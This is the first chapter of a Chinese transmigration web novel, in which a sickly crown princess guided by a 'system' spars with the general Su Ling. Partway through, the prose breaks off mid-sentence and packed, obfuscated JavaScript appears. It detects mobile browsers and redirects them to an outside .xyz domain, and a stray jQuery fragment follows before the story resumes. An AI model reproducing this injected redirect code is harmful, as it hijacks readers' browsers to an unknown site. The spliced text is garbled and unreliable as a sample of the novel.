1. 乱臣贼子
作品:《我的殿下不可能这么疯癫》 “叛军攻进来了!叛军攻进来了!”
尖锐的叫喊声不断地响起,伴随着这声响的则是不时飘散的灰烟和火星炸响的碎裂声。
空气中隐隐弥漫着鲜血的腥臭味。
季尧年从地上爬起来,她看着自己眼前这座黑沉沉的殿宇,莫名有些心悸。
携带着包裹慌乱逃窜的侍女,被打断脊骨的侍卫,掉落在地上无人理会碧玉的珠钗……一眼看去,周围到处都是血色和四散污秽。
“咳咳……”
痒意从喉间漫出,猩红的颜色不受控制地从唇边溢出。
视野越来越模糊,她甚至感到自己灵魂随着生命的流逝而坠落。
季尧年摸了摸指尖湿润的液体,还没等她反应过来,未咳出的血便卡住了喉管,冰冷的感觉逐渐攀上手脚,不断地拖着人坠入大片的空白。
她呼吸开始困难,意识也有些模糊不清。
恍恍惚惚间,一道箭矢飞过。
四周烟雾弥漫,好像有什么人朝自己走来。
即便是隔着火海浓烟,季尧年也能看到分辨出如鹰隼一般的黑眸。
那种被牢牢锁定的恐惧,让人心悸不已。
“殿下,别来无恙。”
来人看着她,毫不犹豫地举起了手里的横刀。
她下意识的闭住了眼,想象中的痛觉没有发生,再睁眼时,却像是从一个完全陌生的地方刚醒来,她盯着顶帐子上方描金漆银的鸟雀,觉得眼前的一切都有些不真实。
季尧年低头打量着自己这双略带着些薄茧的手,又摸了摸自己身上的关键部位,忽然松了口气。
穿越就穿越吧,好歹这性别没乱。
此时东宫外正下着雨,淅淅沥沥的雨点打着绿色的琉璃瓦,在黑夜里溅起一朵朵细小的水花。
“殿下,您醒了。”
东宫左郎将乐莅轻轻地走到她面前,拉开帘帐,温声提醒道,“现下已至亥时,您明日还要早起去李大人那儿听训,但太医说了,您这病,恐怕……”
他后面说的话季尧年已经听不清了,但大抵也能猜到是劝她明日不去的话。
所以自己现在是穿到了和同名的女太子身上吗?
听着殿外的雨声,季尧年心如静水,就在她刚支起身子,想说句什么的时候,耳畔的提示音就打断了她还未来得及说出口的话。
“这么快就适应了?我还以为你会吓一跳呢?”系统原本躲在准备一边看戏,此刻才慢悠悠地探头出现,“真不愧是原书太子灵魂的契合者,看来我这次的任务有很大的可能性会成功啊。”
系统点开系统总属性面板,乐呵呵地向季尧年介绍道:“你现在穿到了一本小说里,只要你按部就班地完成任务,成功雕刻出奉圭阁二十四贤臣的面塑形象,并且得到了他们的帮助,就可以改变被炮灰的命运。到那时候,别说是活下来了,你想怎么折磨苏翎那个变态就怎么折磨!”
“攻略奉圭阁二十四人?这就是你给我分配的任务?”季尧年一边浏览着数据面板上的信息,一边点开系统自带的面塑空间查看。
空间里自带着各种面塑雕刻用具,从主刀到小圆刀,再到细化人物的小镊子,一应俱全,她甚至还在里面看到了一块类似于种植庄园的Q版土地。
像是怕季尧年不理解,系统贴心地为她解释道:“这就是你的工具箱。你可是书中季尧年灵魂契合的唯一对象,现在你就是她,她就是你,书中太子季尧年在这个时代所经历的一切都传到你记忆里了,你们现在就是一个人。”
系统蹲在电子屏上,郑重说道:“如果你失败了,那我这个随身系统也会跟着你一起消失,这个小世界也会崩溃坍塌,没有人可以逃走。”
季尧年虚咳了两声,静静地摊在床上喘着气,一块泛着冷光的虚拟任务面板在她眼前浮现。
‘目标任务三号已开启进京的科举征途,请宿主尽快开启雕刻形象任务。
目标任务五号,目标十六号目前处于择主状态,请宿主尽快开启攻略,恢复阁内秩序。’
季尧年挥了挥手,屏退了一旁的准备给自己掌灯的乐莅,她慢慢接收着脑海里过去的记忆,在回忆到苏翎身边人时,猛地想起他身边那个神秘的军师。
“既然苏翎现在京都,那他身边的军师徐凌云岂不是也在?”
季尧年从床上坐起来,细细看着自己手里那个无脸的面塑娃娃,以及系统面板里五号和十六号两个任务目标底下刻着小小苏字,她忽然觉得这是一个和徐凌云见面的契机。
如果原主的记忆没出错,那归顺了苏家,还能上奉圭阁的,她首先想到的就是传闻跟在苏翎身边那个可医天下,谋杀全才的徐凌云。
若奉圭阁以苏翎为核心构建的,那徐凌云作为苏翎的府官,他在奉圭阁中的排名势必不低,就是不知道他是五和十六这两位中的哪一位了。
季尧年笑着将系统软乎乎的身子推远了些:“苏翎既然都要进宫,那不如我们就去见见他。”
系统抱着季尧年的指尖不撒手:“你要直接见他?苏翎不能无缘无故地面见你这位无实权的太子吧?”
“不过是区区外派武官,我要他做什么,他就得做什么。”
看着手里的刻刀,她习惯性地将指腹对准刀刃缓缓地按了下去,霎时间,殷红的血中争先恐后地从指间溢了出来。
半日后,东宫。
俊朗的青年叉手向躺在屋内的太子行着礼,脸上还透露着几分被迫营业的不耐烦:“还望殿下照顾好身体,莫要让陛下为此担忧。臣今日来探病,望殿下能早日康复。”
季尧年在帐幔后扶着胀痛的额角,像是尽力压住自己梗喉头的鲜血:“咳咳……咳,苏将军不必担忧,我只是有些困乏罢了,本想多与将军你叙事畅谈,只可惜刚才服药,太医嘱咐需得安心歇息,还望下次再见时,你我两人能秉烛谈心。”
时值初春,她仍觉身骨透寒。
病体难医,即便是太子之尊也改变不了这副身子咳症难愈。
苏翎本就不是多管闲事之人,更何况皇家事务繁杂,他以前便听说太子体弱,处境十分尴尬。今日一见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552000|171268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,果真如此,不过,他怎么听太子这说话的虚弱语气,总感觉对方下一秒就要咽过气去了?
习武之人对血腥气最是敏感。
几乎是太子开口的一瞬间,苏翎就知道对方身上有伤。当朝太子体弱多病,长久困于东宫,他却不知道对方居然病重成这样。
苏翎不知道是不是太子故意在做戏给他看,但为了不在事后背负谋杀太子等一系列的罪状,他只能再度行礼道:“下官多有得罪,还望太子殿下宽宥。”
说完这句话,他便提着长腿几个大步走到了床前,伸手将眼前这碍事的帐子扯了个干净。
“放肆!”
面色苍白的太子指染血,眸中闪过恼人的恨意,“卢国公便是这般教授苏将军礼仪的吗?”
苏翎先是被太子惊人的姿容恍了神,然后赶忙错开视线认罪道:“臣闻见血腥味,唯恐太子受罪于旧患,为了不使陛下事后惊扰,故没有询问太子直接探查情况,臣自知行事鲁莽,惊扰殿下养病,还望殿下降罪。”
“你倒是想了一个好借口。”
季尧年扯了扯嘴角,目光扫过跪在一旁的苏翎,似是无意地问道,“就是不知道父皇听见你这番说辞又当如何?”
能如何?当然是要完了。
圣人不满世家门阀已久,他却得了圣人照拂得以在外领兵作战,可身份却十分尴尬,此次回京述职本就是有试探缓和的意思。
谁知……苏翎咬着后槽牙,在心底直呼不妙。
“苏将军可有什么话想对我说?”季尧年拿出手帕擦去嘴角溢出的鲜血,赤着脚慢慢地走到了苏翎面前,“你刚才的答案,我不是很满意。”
“太子殿下天人之姿,臣岂敢冒犯,一切都是臣的不是,还望殿下降罪!”
苏翎不愿抬头,只是默默地跪在地上,一副任君处罚的模样。
“苏将军劳苦功高,出身世家大族……想来是知道孤当前的处境。”
季尧年听着耳畔系统不断播报一号任务目标的提示音,稍显凌乱地扶起苏翎的小臂,“父皇与世家不睦已久,我夹在其中很是难办,只是不知苏将军可有办法替我解围?”
苏翎在她触到自己的一瞬间就绷直了腰,他敏锐地嗅到了那股血腥气,但面前的太子却没有再咳血,无意见扫到了对方手上的伤,一时间心思百转。
太子这是想拉拢自己当心腹,还是想借着这次机会让他这个世家子替她出头?
苏翎理不清思路,整个人乱糟糟的,只能再次恳切地认罪道:“殿下所托之事恕臣无法答应,某自知实力微浅,实在帮不上您什么忙,还请殿下另请高明。”
“哈哈……咳咳,若我非要你不可呢?”
季尧年看着苏翎一副认真请罪的模样忍不住笑出了声。
苏翎将头压低了些,眼神中的冷厉让人看着心寒,他再次请罪道:“恕难从命,还望殿下宽宥。”
“好一个恕难从命。”季尧年抬手将他的脸轻轻抬高,逼迫他直视自己。
“苏翎,告诉孤……你是想谋反吗!”